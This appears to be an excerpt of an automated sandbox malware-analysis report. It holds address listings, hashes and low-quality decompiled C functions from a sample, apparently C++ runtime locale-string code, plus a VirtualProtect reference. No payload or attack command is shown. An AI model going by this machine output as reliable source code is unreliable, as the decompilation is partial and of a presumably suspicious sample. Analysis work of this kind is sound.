0x00437f87
0x00437f87
0x00437f8c
0x00000000
0x00437f8e
0x00437f8e
0x00437f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00437f93
0x00437f8c
0x00437f33
0x00437f33
0x00437f38
0x00437f95
0x00437f95
0x00437f9d
0x00437fa4
0x00437fa9
0x00437fac
0x00438055
0x0043805d
0x00438064
0x00438069
0x0043806e
0x00437fb2
0x00437fb2
0x00437fb2
0x00437fb4
0x00438040
0x00438047
0x00438049
0x00000000
0x00000000
0x00000000
0x00437fb4
0x00437f3a
0x00437f3a
0x00437f3f
0x00438005
0x0043800a
0x00000000
0x0043800c
0x0043800c
0x0043800c
0x00438014
0x0043801b
0x00438020
0x00438023
0x00438075
0x0043807d
0x00438084
0x00438089
0x00438025
0x00438025
0x00438027
0x00000000
0x00438029
0x00438029
0x00438030
0x00438032
0x00438032
0x00438027
0x00438023
0x00437f45
0x00437f45
0x00437f4d
0x00437f54
0x00437f59
0x00437f5c
0x0043808e
0x00438096
0x0043809d
0x004380a2
0x00437f62
0x00437f62
0x00437f64
0x00437fba
0x00437fba
0x00437fbf
0x00437fc1
0x00437fc7
0x00437fcb
0x00437fce
0x00437fcf
0x00437fcf
0x004380b0
0x00437f66
0x00437f66
0x00437f6d
0x00437f6f
0x00437f6f
0x00437f64
0x00437f5c
0x00437f3f
0x00437f38
0x00438052
0x00437df5
0x00437df5
0x00437df5
0x00437df8
0x00437dfe
0x00000000
0x00437e04
0x00437e04
0x00437e10
0x00437e10
0x00437e12
0x00437e16
0x00437e19
0x00437e1f
0x00437e25
0x00437e28
0x00437e2e
0x00437e31
0x00437e81
0x00437e88
0x00437e92
0x00437e9a
0x00437e9f
0x00437ea1
0x00437ea1
0x00437ea4
0x00437eac
0x00000000
0x00437e33
0x00437e33
0x00437e36
0x00437efd
0x00437f02
0x00000000
0x00437e3c
0x00437e3c
0x00437e3f
0x00437ed0
0x00437edb
0x00437ede
0x00437ee1
0x00437ee3
0x00437ee5
0x00437ee9
0x00437eee
0x00000000
0x00437e45
0x00437e45
0x00437e49
0x00437e50
0x00000000
0x00437e50
0x00437e3f
0x00437e36
0x00000000
0x00437eb3
0x00437eb3
0x00437eb6
0x00437eb6
0x00437ec2
0x00000000
0x00437ec2
0x00437dfe
0x00437def
0x00437de3
0x00437dd8
0x00437e6b
0x00437d1f
0x00437d1f
0x00437d1f
0x00437d24
0x00437d24
0x00437d2a
0x00000000
0x00437d2c
0x00437d2c
0x00437d2c
0x00437d34
0x00437d37
0x00437d3b
0x00437d40
0x00437d44
0x00437d53
0x00437d53
0x00437d64
0x00437d66
0x00437d6b
0x00437d6e
0x00437d74
0x00437d76
0x00000000
0x00000000
0x00437d50
0x00437d50
0x00437d50
0x00437d78
0x00437d7b
0x00437d81
0x00437d83
0x00000000
0x00437d89
0x00437d8f
0x00437d92
0x00437d9b
0x00437d9e
0x00437da0
0x00437da2
0x00437da4
0x00437da8
0x00437daf
0x00437db6
0x00437db9
0x00437dbb
0x00437dbb
0x00437dbe
0x00437dc1
0x00437dc1
0x00437dd0
0x00437dd0
0x00437d83
0x00437d2a
0x00437d19
0x00437d11
0x00437cb3
0x00437cb3
0x00437cba
0x00437cba
0x00000000

APIs

VirtualProtect.KERNEL32 ref: 00437DB9

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 85119ff8b83503fe1923595e1f0559684d81ce95775aa6a8b891ffcf74539ca1
Instruction ID: b530cd3f96230ba1124298df6dc3e94e225b4560d30eccb275ddf687c3d66f18
Opcode Fuzzy Hash: 85119ff8b83503fe1923595e1f0559684d81ce95775aa6a8b891ffcf74539ca1
Instruction Fuzzy Hash: ACA1F8B09083048FDB249F68C88032EB7F1FF48328F25961FE4988B391D77D98459B96

Uniqueness

Uniqueness Score: -1.00%

Function 004BDE30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004BDE4A
strlen.MSVCRT ref: 004BDE95
memcpy.MSVCRT ref: 004BDEB2
setlocale.MSVCRT ref: 004BDEC6
setlocale.MSVCRT ref: 004BDEFC

Strings

5]S, xrefs: 004BDE31
5]S, xrefs: 004BDEB7

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID: 5]S$5]S
API String ID: 4096897932-1477691388
Opcode ID: fc8843dc18d7d3ec72e53fb9a0a9075cab42e794a56712d2fce682016bd75ff6
Instruction ID: e868e4dde46f994a42d6e4447bcc82ae222d5ce9f5b6e2cc13e7dfa701b2a31c
Opcode Fuzzy Hash: fc8843dc18d7d3ec72e53fb9a0a9075cab42e794a56712d2fce682016bd75ff6
Instruction Fuzzy Hash: E221E4B5A097009FD740EF69D08565EFBE0EF88358F418D2EF5C887302E77889418B46

Uniqueness

Uniqueness Score: -1.00%

Function 004522F0 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 250
stringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004522F0(signed int __ecx, char* __edi, intOrPtr* _a4) {
				void* _v16;
				intOrPtr _v32;
				char* _v36;
				char* _v40;
				signed int _v44;
				int _v48;
				char* _v52;
				int _v56;
				char* _v60;
				char _v64;
				void* _v68;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v108;
				void* _v112;
				void* _v116;
				void* _v132;
				void* __ebx;
				void* __esi;
				intOrPtr _t108;
				char** _t111;
				char* _t112;
				char** _t115;
				int _t116;
				int _t119;
				intOrPtr* _t121;
				int _t122;
				char* _t128;
				char* _t133;
				char* _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				intOrPtr _t139;
				intOrPtr _t140;
				char _t144;
				int _t150;
				char _t153;
				intOrPtr _t157;
				int _t158;
				char _t161;
				int _t168;
				char* _t172;
				char* _t174;
				signed int _t181;
				intOrPtr* _t183;
				intOrPtr* _t184;
				char* _t193;
				void* _t195;
				char* _t196;
				char* _t200;
				char _t204;
				char _t206;
				char _t208;
				char* _t212;
				char* _t213;
				char** _t216;
				char* _t218;
				signed int _t219;
				char* _t220;
				signed int _t221;
				void* _t222;
				signed int _t224;
				char _t225;
				char* _t226;
				void* _t227;
				void* _t230;
				void* _t233;
				void* _t234;
				char** _t237;

				_t210 = __edi;
				_t179 = __ecx;
				_t108 = __ecx + 8;
				_t230 = _t233;
				_push(__edi);
				_t172 = __ecx;
				_t234 = _t233 - 0x2c;
				 *__ecx = _t108;
				_v32 = _t108;
				 *((char*)(__ecx + 8)) = 0;
				 *(__ecx + 4) = 0;
				_t111 =  *( *_a4 + 0x10);
				_t216 = _t111;
				_t112 =  *_t111;
				_v40 = _t112;
				if(_t112 == 0) {
					_v48 = 0x2a;
					_v52 = 1;
					_v56 = 0;
					_v60 = 0;
					E004B0DA0(__ecx, __ecx, __edi, _t216, _t230);
					goto L24;
				} else {
					_t115 = _t216;
					if(_t216[1] == 0) {
						L23:
						_t218 = _v40;
						_t116 = strlen(_t218);
						_v52 = _t218;
						_v48 = _t116;
						_v56 = 0;
						_v60 = 0;
						E004B0590(_t172, _t172, _t210, _t218);
						L24:
						return _t172;
					} else {
						_v36 = _t115;
						_t193 = _v40;
						_t219 = 0;
						_v44 = __ecx;
						do {
							_t219 = _t219 + 1;
							_t174 =  *(_v36 + _t219 * 4);
							_t119 = strcmp(_t193, _t174);
							_t193 = _t174;
							_t181 = _t179 & 0xffffff00 | _t219 - 0x00000004 > 0x00000000;
							_t210 = _t181;
							_t179 = _t181 & 0xffffff00 | _t119 != 0x00000000;
						} while ((_t181 | _t179) == 0);
						_t172 = _v44;
						if(_t119 == 0) {
							goto L23;
						} else {
							_v60 = 0x80;
							E004B2380(_t172);
							_t121 =  *0x539c4c; // 0x539bb8
							_t237 = _t234 - 4;
							_t220 =  *_t121;
							_v64 = _t220;
							_t122 = strlen(??);
							_t195 = 0x7fffffff - _t172[4];
							if(_t122 > 0x7fffffff) {
								_v60 = "basic_string::append";
								E004BEAD0(_t195, _t210);
								goto L31;
							} else {
								_v56 = _t122;
								_v60 = _t220;
								E004B2500(_t172);
								_t225 = _t172[4];
								_t237 = _t237 - 8;
								_t144 =  *_t172;
								_t210 = _t225 + 1;
								if(_v32 == _t144) {
									_t204 = 0xf;
								} else {
									_t204 = _t172[8];
								}
								if(_t210 > _t204) {
									_v48 = 1;
									_v52 = 0;
									_v56 = 0;
									_v60 = _t225;
									E004B26D0(_t172);
									_t237 = _t237 - 0x10;
									_t144 =  *_t172;
								}
								 *((char*)(_t144 + _t225)) = 0x3d;
								_t172[4] = _t210;
								(_t225 + 1)[ *_t172] = 0;
								_t226 =  *( *( *_a4 + 0x10));
								_t150 = strlen(_t226);
								_t195 = 0x7fffffff - _t172[4];
								if(_t150 > 0x7fffffff) {
									L33:
									 *_t237 = "basic_string::append";
									_t221 = E004BEAD0(_t195, _t210);
									_t196 =  *_t172;
									if(_v32 != _t196) {
										 *_t237 = _t196;
										L004C33F0();
									}
									 *_t237 = _t221;
									E0043B0B0(_t126, _t172, _t196, _t210, _t221);
									_t128 = _v52;
									if(_t128 !=  &_v44) {
										 *_t237 = _t128;
										L004C33F0();
									}
									_t129 = _t172;
									_t199 = _t221 + 1;
									 *_t237 = _t172;
									if(_t221 + 1 == 0) {
										E004C36D0();
									}
									 *_t237 = E0043B0B0(_t129, _t172, _t199, _t210, _t221);
									E004C3600();
									E004C3770();
									_t133 = _t172[4];
									while(1) {
										_t221 = _t221 + 1;
										if(_t172[8] <= _t221) {
											break;
										}
										_t184 =  *((intOrPtr*)(_t133 + _t221 * 4));
										if(_t184 != 0) {
											_t139 =  *0x528234; // 0x2
											if(_t139 != 0) {
												_t140 = 0xffffffff;
												asm("lock xadd [ecx+0x4], eax");
											} else {
												_t140 =  *((intOrPtr*)(_t184 + 4));
												 *((intOrPtr*)(_t184 + 4)) = _t140 - 1;
											}
											if(_t140 == 1) {
												 *((intOrPtr*)( *_t184 + 4))();
											}
											_t133 = _t172[4];
										}
									}
									if(_t133 != 0) {
										 *_t237 = _t133;
										L004C33E0();
									}
									_t134 = _t172[0xc];
									if(_t134 != 0) {
										if(_t172[8] == 0) {
											L54:
											 *_t237 = _t134;
											L004C33E0();
										} else {
											_t224 = 0;
											do {
												_t183 =  *((intOrPtr*)(_t134 + _t224 * 4));
												if(_t183 != 0) {
													_t135 =  *0x528234; // 0x2
													if(_t135 != 0) {
														_t136 = 0xffffffff;
														asm("lock xadd [ecx+0x4], eax");
													} else {
														_t136 =  *((intOrPtr*)(_t183 + 4));
														 *((intOrPtr*)(_t183 + 4)) = _t136 - 1;
													}
													if(_t136 == 1) {
														 *((intOrPtr*)( *_t183 + 4))();
													}
													_t134 = _t172[0xc];
												}
												_t224 = _t224 + 1;
											} while (_t172[8] > _t224);
											if(_t134 != 0) {
												goto L54;
											}
										}
									}
									_t200 = _t172[0x10];
									_t222 = 0;
									if(_t200 != 0) {
										do {
											_t134 = _t200[_t222];
											if(_t134 != 0) {
												 *_t237 = _t134;
												L004C33E0();
												_t200 = _t172[0x10];
											}
											_t222 = _t222 + 4;
										} while (_t222 != 0x18);
										if(_t200 != 0) {
											 *_t237 = _t200;
											L004C33E0();
										}
									}
									return _t134;
								} else {
									_v56 = _t150;
									_v60 = _t226;
									E004B2500(_t172);
									_t237 = _t237 - 8;
									_t227 = 4;
									while(1) {
										_t212 = _t172[4];
										_v36 =  &(_t212[1]);
										_t153 =  *_t172;
										if(_v32 == _t153) {
											_t206 = 0xf;
										} else {
											_t206 = _t172[8];
										}
										if(_v36 > _t206) {
											_v48 = 1;
											_v52 = 0;
											_v56 = 0;
											_v60 = _t212;
											E004B26D0(_t172);
											_t237 = _t237 - 0x10;
											_t153 =  *_t172;
										}
										_t212[_t153] = 0x3b;
										_t172[4] =  &(_t212[1]);
										( &(_t212[1]))[ *_t172] = 0;
										_t157 =  *0x539c4c; // 0x539bb8
										_t210 =  *(_t157 + _t227);
										_t158 = strlen(_t210);
										_t195 = 0x7fffffff - _t172[4];
										if(_t158 > 0x7fffffff) {
											break;
										}
										_v56 = _t158;
										_v60 = _t210;
										E004B2500(_t172);
										_t213 = _t172[4];
										_t237 = _t237 - 8;
										_v36 =  &(_t213[1]);
										_t161 =  *_t172;
										if(_v32 == _t161) {
											_t208 = 0xf;
										} else {
											_t208 = _t172[8];
										}
										if(_v36 > _t208) {
											_v48 = 1;
											_v52 = 0;
											_v56 = 0;
											_v60 = _t213;
											E004B26D0(_t172);
											_t237 = _t237 - 0x10;
											_t161 =  *_t172;
										}
										_t213[_t161] = 0x3d;
										_t172[4] =  &(_t213[1]);
										( &(_t213[1]))[ *_t172] = 0;
										_t210 =  *( *( *_a4 + 0x10) + _t227);
										_t168 = strlen(_t210);
										_t195 = 0x7fffffff - _t172[4];
										if(_t168 > 0x7fffffff) {
											L31:
											 *_t237 = "basic_string::append";
											E004BEAD0(_t195, _t210);
											break;
										} else {
											_v56 = _t168;
											_v60 = _t210;
											E004B2500(_t172);
											_t227 = _t227 + 4;
											_t237 = _t237 - 8;
											if(_t227 != 0x18) {
												continue;
											} else {
												return _t172;
											}
										}
										goto L72;
									}
									 *_t237 = "basic_string::append";
									E004BEAD0(_t195, _t210);
									goto L33;
								}
							}
						}
					}
				}
				L72:
			}

0x004522f0
0x004522f0
0x004522f1
0x004522f4
0x004522f6
0x004522f9
0x004522fb
0x004522fe
0x00452300
0x00452306
0x0045230c
0x00452313
0x00452316
0x00452318
0x0045231a
0x0045231f
0x004525c0
0x004525c8
0x004525d0
0x004525d8
0x004525df
0x00000000
0x00452325
0x00452328
0x0045232c
0x00452560
0x00452560
0x00452566
0x0045256b
0x00452571
0x00452575
0x0045257d
0x00452584
0x00452589
0x00452595
0x00452332
0x00452332
0x00452335
0x00452338
0x0045233a
0x00452340
0x00452343
0x00452346
0x00452350
0x00452358
0x0045235a
0x0045235f
0x00452361
0x00452366
0x0045236a
0x0045236f
0x00000000
0x00452375
0x00452375
0x0045237e
0x00452383
0x00452388
0x0045238b
0x0045238d
0x00452390
0x0045239a
0x0045239f
0x0045262a
0x00452631
0x00000000
0x004523a5
0x004523a5
0x004523ab
0x004523ae
0x004523b3
0x004523b6
0x004523b9
0x004523bb
0x004523c1
0x00452620
0x004523c7
0x004523c7
0x004523c7
0x004523cc
0x004525f0
0x004525fa
0x00452602
0x0045260a
0x0045260d
0x00452612
0x00452615
0x00452615
0x004523d2
0x004523d8
0x004523db
0x004523e8
0x004523ed
0x004523f7
0x004523fc
0x0045264e
0x0045264e
0x0045265a
0x004c4618
0x004c461d
0x004c461f
0x004c4622
0x004c4622
0x004c4627
0x004c462a
0x004c4630
0x004c4638
0x004c463a
0x004c463d
0x004c463d
0x004c4642
0x004c4646
0x004c4649
0x004c464c
0x004c464e
0x004c464e
0x004c4658
0x004c465b
0x004c4660
0x004c4665
0x004aeff3
0x004aeff3
0x004aeff9
0x00000000
0x00000000
0x004aeffb
0x004af000
0x004af002
0x004af009
0x004af0c0
0x004af0c5
0x004af00f
0x004af00f
0x004af015
0x004af015
0x004af01b
0x004af01f
0x004af01f
0x004aeff0
0x004aeff0
0x004af000
0x004af026
0x004af028
0x004af02b
0x004af02b
0x004af030
0x004af035
0x004af03c
0x004af076
0x004af076
0x004af079
0x004af03e
0x004af03e
0x004af04d
0x004af04d
0x004af052
0x004af054
0x004af05b
0x004af0d0
0x004af0d5
0x004af05d
0x004af05d
0x004af063
0x004af063
0x004af069
0x004af06d
0x004af06d
0x004af042
0x004af042
0x004af045
0x004af048
0x004af074
0x00000000
0x00000000
0x004af074
0x004af03c
0x004af07e
0x004af081
0x004af085
0x004af090
0x004af090
0x004af095
0x004af097
0x004af09a
0x004af09f
0x004af09f
0x004af0a2
0x004af0a5
0x004af0ac
0x004af0ae
0x004af0b1
0x004af0b1
0x004af0ac
0x004af0bb
0x00452402
0x00452402
0x00452408
0x0045240b
0x00452410
0x00452413
0x00452418
0x00452418
0x0045241e
0x00452421
0x00452426
0x004525a0
0x0045242c
0x0045242c
0x0045242c
0x00452432
0x00452500
0x0045250a
0x00452512
0x0045251a
0x0045251d
0x00452522
0x00452525
0x00452525
0x00452438
0x0045243f
0x00452444
0x00452449
0x0045244e
0x00452454
0x0045245e
0x00452463
0x00000000
0x00000000
0x00452469
0x0045246f
0x00452472
0x00452477
0x0045247a
0x00452480
0x00452483
0x00452488
0x004525b0
0x0045248e
0x0045248e
0x0045248e
0x00452494
0x00452530
0x0045253a
0x00452542
0x0045254a
0x0045254d
0x00452552
0x00452555
0x00452555
0x0045249a
0x004524a1
0x004524a6
0x004524b3
0x004524b9
0x004524c3
0x004524c8
0x00452636
0x00452636
0x0045263d
0x00000000
0x004524ce
0x004524ce
0x004524d4
0x004524d7
0x004524dc
0x004524df
0x004524e5
0x00000000
0x004524eb
0x004524f4
0x004524f4
0x004524e5
0x00000000
0x004524c8
0x00452642
0x00452649
0x00000000
0x00452649
0x004523fc
0x0045239f
0x0045236f
0x0045232c
0x00000000

APIs

strcmp.MSVCRT ref: 00452350
strlen.MSVCRT ref: 00452390
strlen.MSVCRT ref: 004523ED
strlen.MSVCRT ref: 00452454
strlen.MSVCRT ref: 004524B9

Part of subcall function 004B2500: memcpy.MSVCRT ref: 004B253C

strlen.MSVCRT ref: 00452566

Strings

*, xrefs: 004525C0

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: strlen$memcpystrcmp
String ID: *
API String ID: 566201450-163128923
Opcode ID: 253af8f7cb967501595ae3c6e3a73c02458dd4b721a3df67fe8b204baed3cdde
Instruction ID: 124e8eebd530f47f5d63b72fb9c1ed650669a8151f2e2f61b90a2d1adf54d49c
Opcode Fuzzy Hash: 253af8f7cb967501595ae3c6e3a73c02458dd4b721a3df67fe8b204baed3cdde
Instruction Fuzzy Hash: BBA15C71A04205DFCB00EF29C18075EBBE1BF89304F55C96EE8889B346E779D845CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00452670 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00452670(intOrPtr* __ecx, signed int _a4) {
				void* _v16;
				char _v29;
				intOrPtr _v48;
				char* _v52;
				intOrPtr* _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				int _v72;
				char* _v76;
				void* _v88;
				void* _v100;
				void* _v112;
				void* __edi;
				void* __ebp;
				intOrPtr _t74;
				intOrPtr _t78;
				int _t79;
				int _t83;
				intOrPtr* _t85;
				int _t86;
				intOrPtr _t88;
				intOrPtr _t92;
				int _t96;
				intOrPtr _t98;
				intOrPtr _t101;
				intOrPtr _t102;
				int _t103;
				intOrPtr _t105;
				intOrPtr _t108;
				int _t112;
				char* _t118;
				signed int _t122;
				signed int _t125;
				intOrPtr _t132;
				intOrPtr* _t136;
				char* _t138;
				intOrPtr _t140;
				intOrPtr _t145;
				char* _t146;
				char* _t147;
				char* _t148;
				char* _t150;
				intOrPtr* _t151;
				char* _t152;
				char* _t153;
				signed int _t154;
				intOrPtr _t155;
				char* _t156;
				char* _t157;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t161;
				intOrPtr* _t166;
				void* _t167;
				void* _t168;
				void* _t169;

				_t117 = __ecx;
				_t161 = _t160 - 0x3c;
				_t74 = E0048B900(0, 0,  &_v29);
				_t122 = _a4;
				 *__ecx = _t74;
				_t151 =  *((intOrPtr*)( *_t122 + 0x10));
				_t136 = _t151;
				_t152 =  *_t151;
				_v52 = _t152;
				if(_t152 == 0) {
					_v64 = 0x2a;
					_v68 = 1;
					_v76 = 0;
					_v72 =  *((intOrPtr*)(_t74 - 0xc));
					E0048BC50(__ecx, _t159);
					return __ecx;
				} else {
					_t78 = _t136;
					if( *((intOrPtr*)(_t136 + 4)) == 0) {
						L18:
						_t153 = _v52;
						_t79 = strlen(_t153);
						_v76 = _t153;
						_v72 = _t79;
						E0048C560(_t117, _t144);
						return _t117;
					} else {
						_v48 = _t78;
						_t138 = _v52;
						_t154 = 0;
						_v56 = __ecx;
						do {
							_t154 = _t154 + 1;
							_t118 =  *(_v48 + _t154 * 4);
							_t83 = strcmp(_t138, _t118);
							_t138 = _t118;
							_t125 = _t122 & 0xffffff00 | _t154 - 0x00000004 > 0x00000000;
							_t144 = _t125;
							_t122 = _t125 & 0xffffff00 | _t83 != 0x00000000;
						} while ((_t125 | _t122) == 0);
						_t117 = _v56;
						if(_t83 == 0) {
							goto L18;
						} else {
							_v76 = 0x80;
							E0048D0F0(_t117);
							_t85 =  *0x539c4c; // 0x539bb8
							_t166 = _t161 - 4;
							_t155 =  *_t85;
							 *_t166 = _t155;
							_t86 = strlen(??);
							 *_t166 = _t155;
							_v76 = _t86;
							E0048C220(_t117);
							_t88 =  *_t117;
							_t167 = _t166 - 8;
							_t145 =  *((intOrPtr*)(_t88 - 0xc));
							_t156 = _t145 + 1;
							if(_t156 <=  *((intOrPtr*)(_t88 - 8))) {
								if( *((intOrPtr*)(_t88 - 4)) > 0) {
									goto L6;
								} else {
									goto L7;
								}
								L15:
								return _t117;
								goto L20;
							} else {
								L6:
								_v76 = _t156;
								E0048D0F0(_t117);
								_t167 = _t167 - 4;
							}
							L7:
							 *((char*)( *_t117 +  *((intOrPtr*)( *_t117 - 0xc)))) = 0x3d;
							_t92 =  *_t117;
							 *((intOrPtr*)(_t92 - 0xc)) = _t156;
							 *((intOrPtr*)(_t92 - 4)) = 0;
							 *((char*)(_t92 + _t145 + 1)) = 0;
							_t157 =  *( *( *_a4 + 0x10));
							_t96 = strlen(_t157);
							_v76 = _t157;
							_v72 = _t96;
							E0048C220(_t117);
							_t168 = _t167 - 8;
							_t158 = 4;
							do {
								_t98 =  *_t117;
								_t140 =  *((intOrPtr*)(_t98 - 0xc));
								_v48 = _t140;
								_t146 = _t140 + 1;
								if(_t146 >  *((intOrPtr*)(_t98 - 8)) ||  *((intOrPtr*)(_t98 - 4)) > 0) {
									_v76 = _t146;
									E0048D0F0(_t117);
									_t168 = _t168 - 4;
								}
								 *((char*)( *_t117 +  *((intOrPtr*)( *_t117 - 0xc)))) = 0x3b;
								_t101 =  *_t117;
								 *((intOrPtr*)(_t101 - 0xc)) = _t146;
								 *((intOrPtr*)(_t101 - 4)) = 0;
								 *((char*)(_t101 + _v48 + 1)) = 0;
								_t102 =  *0x539c4c; // 0x539bb8
								_t147 =  *(_t102 + _t158);
								_t103 = strlen(_t147);
								_v76 = _t147;
								_v72 = _t103;
								E0048C220(_t117);
								_t105 =  *_t117;
								_t169 = _t168 - 8;
								_t132 =  *((intOrPtr*)(_t105 - 0xc));
								_v48 = _t132;
								_t148 = _t132 + 1;
								if(_t148 >  *((intOrPtr*)(_t105 - 8)) ||  *((intOrPtr*)(_t105 - 4)) > 0) {
									_v76 = _t148;
									E0048D0F0(_t117);
									_t169 = _t169 - 4;
								}
								 *((char*)( *_t117 +  *((intOrPtr*)( *_t117 - 0xc)))) = 0x3d;
								_t108 =  *_t117;
								 *((intOrPtr*)(_t108 - 0xc)) = _t148;
								 *((intOrPtr*)(_t108 - 4)) = 0;
								 *((char*)(_t108 + _v48 + 1)) = 0;
								_t150 =  *( *((intOrPtr*)( *_a4 + 0x10)) + _t158);
								_t112 = strlen(_t150);
								_v76 = _t150;
								_v72 = _t112;
								E0048C220(_t117);
								_t158 = _t158 + 4;
								_t168 = _t169 - 8;
							} while (_t158 != 0x18);
							goto L15;
						}
					}
				}
				L20:
			}

0x00452679
0x0045267b
0x00452691
0x00452696
0x00452699
0x0045269d
0x004526a0
0x004526a2
0x004526a4
0x004526a9
0x004528b0
0x004528ba
0x004528c5
0x004528cc
0x004528d0
0x004528e1
0x004526af
0x004526af
0x004526b6
0x00452885
0x00452885
0x0045288b
0x00452890
0x00452895
0x00452899
0x004528aa
0x004526bc
0x004526bc
0x004526bf
0x004526c2
0x004526c4
0x004526d0
0x004526d3
0x004526d6
0x004526e0
0x004526e8
0x004526ea
0x004526ef
0x004526f1
0x004526f6
0x004526fa
0x004526ff
0x00000000
0x00452705
0x00452705
0x0045270e
0x00452713
0x00452718
0x0045271b
0x0045271d
0x00452720
0x00452725
0x0045272a
0x0045272e
0x00452733
0x00452735
0x00452738
0x0045273b
0x00452741
0x0045287a
0x00000000
0x00452880
0x00000000
0x00452880
0x00452869
0x00452872
0x00000000
0x00452747
0x00452747
0x00452747
0x0045274c
0x00452751
0x00452751
0x00452754
0x00452759
0x0045275d
0x0045275f
0x00452762
0x00452769
0x00452776
0x0045277b
0x00452780
0x00452785
0x00452789
0x0045278e
0x00452791
0x00452796
0x00452796
0x00452798
0x0045279b
0x0045279e
0x004527a4
0x004527ad
0x004527b2
0x004527b7
0x004527b7
0x004527bf
0x004527c6
0x004527c8
0x004527cb
0x004527d2
0x004527d7
0x004527dc
0x004527e2
0x004527e7
0x004527ec
0x004527f0
0x004527f5
0x004527f7
0x004527fa
0x004527fd
0x00452800
0x00452806
0x0045280f
0x00452814
0x00452819
0x00452819
0x00452821
0x00452825
0x00452827
0x0045282d
0x00452834
0x00452841
0x00452847
0x0045284c
0x00452851
0x00452855
0x0045285a
0x0045285d
0x00452860
0x00000000
0x00452796
0x004526ff
0x004526b6
0x00000000

APIs

Part of subcall function 0048B900: memset.MSVCRT ref: 0048B945

strcmp.MSVCRT ref: 004526E0
strlen.MSVCRT ref: 00452720
strlen.MSVCRT ref: 0045277B
strlen.MSVCRT ref: 004527E2
strlen.MSVCRT ref: 00452847

Part of subcall function 0048C220: memcpy.MSVCRT ref: 0048C27F

strlen.MSVCRT ref: 0045288B

Strings

*, xrefs: 004528B0

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: strlen$memcpymemsetstrcmp
String ID: *
API String ID: 1303273620-163128923
Opcode ID: 0a2d339336b66f32abd8a366141ada8dca363f0ab98bab8729bdfc993bf9037e
